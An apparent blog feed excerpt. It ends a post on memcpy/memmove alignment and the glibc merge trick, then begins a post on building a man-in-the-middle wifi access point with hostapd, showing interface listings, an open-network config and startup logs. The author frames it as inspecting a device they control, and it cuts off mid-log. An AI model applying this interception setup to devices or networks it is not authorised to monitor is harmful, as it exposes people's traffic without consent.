&lt;h3 id="eventually-src-and-dst-get-aligned"&gt;Eventually &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; get aligned&lt;/h3&gt;
&lt;p&gt;If we are lucky, we could have &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; addresses misaligned but by the same amount. This is the same to say that both addresses share the same \(N\) lower bits where \(N\) is the \(\log_2\left(word size\right)\) or&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;wordsize&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;wordsize&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If that is the case we can call &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;bytecopy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; until both gets aligned and then go full speed with copying by words/blocks.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: auto;" class='' align='middle' data='/img/xoz/memcpy_io/05_misaligned_n_byte_copy_correct.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="only-dst-gets-eventually-aligned"&gt;Only &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; gets eventually aligned&lt;/h3&gt;
&lt;p&gt;As before we start with by calling &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;bytecopy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; until &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is aligned but not necessary &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is.&lt;/p&gt;
&lt;p&gt;Consider the following:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: auto;" class='' align='middle' data='/img/xoz/memcpy_io/05_src_misaligned_but_dst_aligned_setup.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Take the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; address and compute:&lt;/p&gt;
&lt;p&gt;&lt;label for='CkluIHRoaXMgZXhhbXBsZSwgYHNyY2AgaXMgYXQgYWRkcmVzcyAzIHNvIHdpdGggYHdvcmRzaXplYCBvZiA0IGJ5dGVzCmBzaDFgIGlzIDMgYW5kIGBzaDJgIGlzIDEuCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkluIHRoaXMgZXhhbXBsZSwgYHNyY2AgaXMgYXQgYWRkcmVzcyAzIHNvIHdpdGggYHdvcmRzaXplYCBvZiA0IGJ5dGVzCmBzaDFgIGlzIDMgYW5kIGBzaDJgIGlzIDEuCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
In this example, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is at address 3 so with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;wordsize&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; of 4 bytes &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sh1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is 3 and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sh2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is 1.
&lt;/span&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sh1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wordsize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sh2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wordsize&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sh1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sh1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sh2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; are how many bytes we should shift a word to make it aligned either towards lower addresses or higher addresses.&lt;/p&gt;
&lt;p&gt;Now the trick: for writing 1 word into &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, we read 2 words from &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;em&gt;combine&lt;/em&gt; (or &lt;em&gt;merge&lt;/em&gt;) them and write that into &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;label for='ClRoaXMgaXMgdmFsaWQgb25seSBmb3IgKmJpZyBlbmRpYW4qIGFyY2hpdGVjdHVyZXMuIEZvciAqbGl0dGxlIGVuZGlhbiosCmludmVydCB0aGUgc2hpZnQgZGlyZWN0aW9ucy4KClJlZmVyZW5jZTogW2dsaWJjJ3MgTUVSR0VdKGh0dHBzOi8vZ2l0aHViLmNvbS9ibWlub3IvZ2xpYmMvYmxvYi9lNjRhMWU4MWFhZGY2YzQwMTE3NGFjOTQ3MWNlZDBmMDEyNWMyOTEyL3N5c2RlcHMvZ2VuZXJpYy9tZW1jb3B5LmgjTDY2LUw3MSkKbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoaXMgaXMgdmFsaWQgb25seSBmb3IgKmJpZyBlbmRpYW4qIGFyY2hpdGVjdHVyZXMuIEZvciAqbGl0dGxlIGVuZGlhbiosCmludmVydCB0aGUgc2hpZnQgZGlyZWN0aW9ucy4KClJlZmVyZW5jZTogW2dsaWJjJ3MgTUVSR0VdKGh0dHBzOi8vZ2l0aHViLmNvbS9ibWlub3IvZ2xpYmMvYmxvYi9lNjRhMWU4MWFhZGY2YzQwMTE3NGFjOTQ3MWNlZDBmMDEyNWMyOTEyL3N5c2RlcHMvZ2VuZXJpYy9tZW1jb3B5LmgjTDY2LUw3MSkKbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
This is valid only for &lt;em&gt;big endian&lt;/em&gt; architectures. For &lt;em&gt;little endian&lt;/em&gt;, invert the shift directions.
&lt;br /&gt;&lt;br /&gt;
Reference: &lt;a href="https://github.com/bminor/glibc/blob/e64a1e81aadf6c401174ac9471ced0f0125c2912/sysdeps/generic/memcopy.h#L66-L71"&gt;glibc’s MERGE&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The &lt;em&gt;combine&lt;/em&gt; (also called &lt;em&gt;merge&lt;/em&gt;) of two words takes the left word (lower addr) and shifts it by &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sh1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to the left; takes the right word (higher addr) and shifts it by &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sh2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to the right and finally bitwise &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;or&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; them and write the result into &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: auto;" class='' align='middle' data='/img/xoz/memcpy_io/06_merge_all.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Note how the word-aligned read &lt;object style="width: auto; display: inline-block; vertical-align: bottom;" class='' align='middle' data='/img/xoz/memcpy_io/06_bcde.svg' type='image/svg+xml'&gt;&lt;/object&gt; is right shifted 1 byte making room for the single byte from the previous word &lt;object style="width: auto; display: inline-block; vertical-align: bottom;" class='' align='middle' data='/img/xoz/memcpy_io/06_a.svg' type='image/svg+xml'&gt;&lt;/object&gt; and in combination, &lt;object style="width: auto; display: inline-block; vertical-align: bottom;" class='' align='middle' data='/img/xoz/memcpy_io/06_abcd.svg' type='image/svg+xml'&gt;&lt;/object&gt; is formed and written.&lt;/p&gt;
&lt;p&gt;The remaining byte &lt;object style="width: auto; display: inline-block; vertical-align: bottom;" class='' align='middle' data='/img/xoz/memcpy_io/06_e.svg' type='image/svg+xml'&gt;&lt;/object&gt; is not thrown away but used to build the next word to write.&lt;/p&gt;
&lt;p&gt;The first loop iteration is slighly special because we cannot read a full word (we cannot read behind the initial &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; pointer).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: auto;" class='' align='middle' data='/img/xoz/memcpy_io/05_src_misaligned_but_dst_aligned_merge_p1.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;For the rest of the loop iterations we don’t need any padding and work with entire words.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: auto;" class='' align='middle' data='/img/xoz/memcpy_io/05_src_misaligned_but_dst_aligned_merge_p2.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The shifts and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;or&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; operations are not free so this &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; implementation is slower than the one with the inputs aligned but still much faster that a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;bytecopy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The key insight is that while we are reading 2 words per write, we can hold in a local variable a word to used in the next iteration. So we are &lt;em&gt;not&lt;/em&gt; reading the whole &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; buffer twice.&lt;/p&gt;
&lt;p&gt;&lt;label for='CkhlcmUgYXJlIHRoZQpbZ2xpYmMncyBpbXBsZW1lbnRhdGlvbnNdKGh0dHBzOi8vZ2l0aHViLmNvbS9sYXR0ZXJhL2dsaWJjL2Jsb2IvODk1ZWY3OWUwNGE5NTNjYWMxNDkzODYzYmNhZTI5YWQ4NTY1N2VlMS9zdHJpbmcvd29yZGNvcHkuYyNMMzQwKS4KbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkhlcmUgYXJlIHRoZQpbZ2xpYmMncyBpbXBsZW1lbnRhdGlvbnNdKGh0dHBzOi8vZ2l0aHViLmNvbS9sYXR0ZXJhL2dsaWJjL2Jsb2IvODk1ZWY3OWUwNGE5NTNjYWMxNDkzODYzYmNhZTI5YWQ4NTY1N2VlMS9zdHJpbmcvd29yZGNvcHkuYyNMMzQwKS4KbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Here are the &lt;a href="https://github.com/lattera/glibc/blob/895ef79e04a953cac1493863bcae29ad85657ee1/string/wordcopy.c#L340"&gt;glibc’s implementations&lt;/a&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Let’s call this algorithm &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;wordcopy_dst_aligned&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and like before it has two flavours &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;wordcopy_dst_aligned_fwd&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;wordcopy_dst_aligned_bwd&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; for handling overlap.&lt;/p&gt;
&lt;h2 id="my-take-aways"&gt;My take aways&lt;/h2&gt;
&lt;p&gt;I didn’t know the &lt;em&gt;combine&lt;/em&gt; / &lt;em&gt;merge&lt;/em&gt; trick or the possibility to lazy copy entire pages.&lt;/p&gt;
&lt;p&gt;Taking the seemingly simple &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; functions and seeing their implementations shown me that even a plain copy can hide some interesting tricks.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;What are your take aways?&lt;/em&gt;&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2024/09/21/Behind-memcpy-memmove.html" rel="alternate" type="text/html" title="Behind `memcpy`/`memmove`: overlap, words and alignment"/>
    <category term="memory" label="memory"/>
    <category term="memcpy" label="memcpy"/>
    <category term="copy" label="copy"/>
    <category term="bytes" label="bytes"/>
    <category term="xoz" label="xoz"/>
    <published>2024-09-21T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2023/10/20/Man-in-the-Middle-Access-Point.html</id>
    <title>Man in the Middle Access Point</title>
    <updated>2023-10-20T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;I was curious about what a phone does behind the scene when it has a wifi connection. In this post I will go step by step on how to turn a wifi card into an access point and how to setup DHCP, DNS, routing and firewall rules to make a computer into a &lt;em&gt;man in the middle&lt;/em&gt; box.&lt;/p&gt;
&lt;p&gt;There are no hacks, spoofing or poisoning. I will go just through the happy case when &lt;em&gt;I&lt;/em&gt; control the target device. Despite of this, it was a interesting problem to solve.&lt;/p&gt;
&lt;p&gt;And when I made the &lt;em&gt;mitm&lt;/em&gt; box work and I was celebrating, a careful inspection to the traffic shown a &lt;em&gt;few surprises&lt;/em&gt;.&lt;!--more--&gt;&lt;/p&gt;
&lt;p&gt;TLDR: all the final configuration files can be found &lt;a href="/assets/network/fake-ap-dnsmasq-hostapd-mitm/"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="setup-a-wireless-card-as-an-access-point"&gt;Setup a wireless card as an access point&lt;/h1&gt;
&lt;p&gt;This is the initial setup: a machine with two wireless cards, one (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;wlan0&lt;/span&gt;&lt;/code&gt;) connected to an access point on &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.0.0/24&lt;/span&gt;&lt;/code&gt; network and the other card (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;apmitm&lt;/span&gt;&lt;/code&gt;) disconnected.&lt;/p&gt;
&lt;p&gt;This machine will serve as the &lt;em&gt;man in the middle&lt;/em&gt; between the access point and the target device.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/network/fake-ap-dnsmasq-hostapd-mitm/diagram2.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ip&lt;span class="w"&gt; &lt;/span&gt;link&lt;span class="w"&gt; &lt;/span&gt;show
&lt;span class="m"&gt;2&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;wlan0:&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;mtu&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1500&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;qdisc&lt;span class="w"&gt; &lt;/span&gt;noqueue&lt;span class="w"&gt; &lt;/span&gt;state&lt;span class="w"&gt; &lt;/span&gt;UP&lt;span class="w"&gt; &lt;/span&gt;mode&lt;span class="w"&gt; &lt;/span&gt;DORMANT&lt;span class="w"&gt; &lt;/span&gt;group&lt;span class="w"&gt; &lt;/span&gt;default&lt;span class="w"&gt; &lt;/span&gt;qlen&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1000&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;link/ether&lt;span class="w"&gt; &lt;/span&gt;aa:aa:aa:aa:aa:aa&lt;span class="w"&gt; &lt;/span&gt;brd&lt;span class="w"&gt; &lt;/span&gt;ff:ff:ff:ff:ff:ff
&lt;span class="m"&gt;3&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;apmitm:&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;BROADCAST,MULTICAST&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;mtu&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1500&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;qdisc&lt;span class="w"&gt; &lt;/span&gt;noop&lt;span class="w"&gt; &lt;/span&gt;state&lt;span class="w"&gt; &lt;/span&gt;DOWN&lt;span class="w"&gt; &lt;/span&gt;mode&lt;span class="w"&gt; &lt;/span&gt;DEFAULT&lt;span class="w"&gt; &lt;/span&gt;group&lt;span class="w"&gt; &lt;/span&gt;default&lt;span class="w"&gt; &lt;/span&gt;qlen&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1000&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;link/ether&lt;span class="w"&gt; &lt;/span&gt;bb:bb:bb:bb:bb:bb&lt;span class="w"&gt; &lt;/span&gt;brd&lt;span class="w"&gt; &lt;/span&gt;ff:ff:ff:ff:ff:ff
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We use &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;hostapd&lt;/span&gt;&lt;/code&gt; to set our &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;apmitm&lt;/span&gt;&lt;/code&gt; wireless interface into an access point. The configuration is straight forward:&lt;/p&gt;
&lt;p&gt;&lt;label for='ClRoZSBwYXJhbWV0ZXJzIHNob3VsZCBiZSBzZWxmLWV4cGxhbmF0b3J5OgoKbyBgc3NpZGAgYW5kIGBjaGFubmVsYCBkZWZpbmUgdGhlIG5hbWUgb2YgdGhlIHdpcmVsZXNzIG5ldHdvcmsKIHRvIHNldHVwIGFuZCBpbiB3aGljaCBjaGFubmVsIHdlIHdpbGwgYmUgdHJhbnNtaXR0aW5nLgoKbyBgbWFjYWRkcl9hY2xgIGFsbG93cyB1cyBmaWx0ZXIgd2hpY2ggY2xpZW50cyBhcmUgYWxsb3dlZCB0bwpjb25uZWN0IHRvIHVzLiBUaGlzIGlzIGhhbmR5IGlmIHdlIHdhbnQgdG8gcGlucG9pbnQgb3VyIHRhcmdldC4KCm8gYGF1dGhfYWxnc2AgYW5kIGB3cGFgIGNvbmZpZ3VyZSB0aGUgZW5jcnlwdGlvbi4gYGhvc3RhcGRgIHN1cHBvcnRzCm9wZW4sIHdlcCwgd3BhIGFuZCB3cGEyIChpbiB0aGUgZXhhbXBsZSBpdCBpcyBzZXQgdG8gb3BlbikKClRoZXJlIGFyZSBtdWNoIG1vcmUgcGFyYW1ldGVycyBidXQgdGhlc2UgYXJlIHRoZSBiYXNpYy4KbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoZSBwYXJhbWV0ZXJzIHNob3VsZCBiZSBzZWxmLWV4cGxhbmF0b3J5OgoKbyBgc3NpZGAgYW5kIGBjaGFubmVsYCBkZWZpbmUgdGhlIG5hbWUgb2YgdGhlIHdpcmVsZXNzIG5ldHdvcmsKIHRvIHNldHVwIGFuZCBpbiB3aGljaCBjaGFubmVsIHdlIHdpbGwgYmUgdHJhbnNtaXR0aW5nLgoKbyBgbWFjYWRkcl9hY2xgIGFsbG93cyB1cyBmaWx0ZXIgd2hpY2ggY2xpZW50cyBhcmUgYWxsb3dlZCB0bwpjb25uZWN0IHRvIHVzLiBUaGlzIGlzIGhhbmR5IGlmIHdlIHdhbnQgdG8gcGlucG9pbnQgb3VyIHRhcmdldC4KCm8gYGF1dGhfYWxnc2AgYW5kIGB3cGFgIGNvbmZpZ3VyZSB0aGUgZW5jcnlwdGlvbi4gYGhvc3RhcGRgIHN1cHBvcnRzCm9wZW4sIHdlcCwgd3BhIGFuZCB3cGEyIChpbiB0aGUgZXhhbXBsZSBpdCBpcyBzZXQgdG8gb3BlbikKClRoZXJlIGFyZSBtdWNoIG1vcmUgcGFyYW1ldGVycyBidXQgdGhlc2UgYXJlIHRoZSBiYXNpYy4KbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
The parameters should be self-explanatory:
&lt;br /&gt;&lt;br /&gt;
o &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;ssid&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;channel&lt;/span&gt;&lt;/code&gt; define the name of the wireless network to setup and in which channel we will be transmitting.
&lt;br /&gt;&lt;br /&gt;
o &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;macaddr_acl&lt;/span&gt;&lt;/code&gt; allows us filter which clients are allowed to connect to us. This is handy if we want to pinpoint our target.
&lt;br /&gt;&lt;br /&gt;
o &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;auth_algs&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;wpa&lt;/span&gt;&lt;/code&gt; configure the encryption. &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;hostapd&lt;/span&gt;&lt;/code&gt; supports open, wep, wpa and wpa2 (in the example it is set to open)
&lt;br /&gt;&lt;br /&gt;
There are much more parameters but these are the basic.
&lt;/span&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;hostapd.conf

&lt;span class="nv"&gt;interface&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;apmitm

&lt;span class="nv"&gt;logger_syslog&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="nv"&gt;logger_syslog_level&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;span class="nv"&gt;logger_stdout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;-1
&lt;span class="nv"&gt;logger_stdout_level&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;

&lt;span class="nv"&gt;ssid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;test&lt;/span&gt;
&lt;span class="nv"&gt;channel&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;

&lt;span class="nv"&gt;macaddr_acl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="nv"&gt;auth_algs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;span class="nv"&gt;wpa&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;How to trick the target to connect our access point (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;apmitm&lt;/span&gt;&lt;/code&gt;) and not the other one is out the scope for this post. I’m going to assume that &lt;em&gt;you&lt;/em&gt; control the target device so you decide which AP to connect to.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;hostapd&lt;span class="w"&gt; &lt;/span&gt;hostapd.conf

Configuration&lt;span class="w"&gt; &lt;/span&gt;file:&lt;span class="w"&gt; &lt;/span&gt;hostapd.conf
Using&lt;span class="w"&gt; &lt;/span&gt;interface&lt;span class="w"&gt; &lt;/span&gt;apmitm&lt;span class="w"&gt; &lt;/span&gt;with&lt;span class="w"&gt; &lt;/span&gt;hwaddr&lt;span class="w"&gt; &lt;/span&gt;bb:bb:bb:bb:bb:bb&lt;span class="w"&gt; &lt;/span&gt;and&lt;span class="w"&gt; &lt;/span&gt;ssid&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;test&amp;quot;&lt;/span&gt;
apmitm:&lt;span class="w"&gt; &lt;/span&gt;interface&lt;span class="w"&gt; &lt;/span&gt;state&lt;span class="w"&gt; &lt;/span&gt;UNINITIALIZED-&amp;gt;ENABLED
apmitm:&lt;span class="w"&gt; &lt;/span&gt;AP-ENABLED

apmitm:&lt;span class="w"&gt; &lt;/span&gt;STA&lt;span class="w"&gt; &lt;/span&gt;cc:cc:cc:cc:cc:cc&lt;span class="w"&gt; &lt;/span&gt;IEEE&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;802&lt;/span&gt;.11:&lt;span class="w"&gt; &lt;/span&gt;authenticated
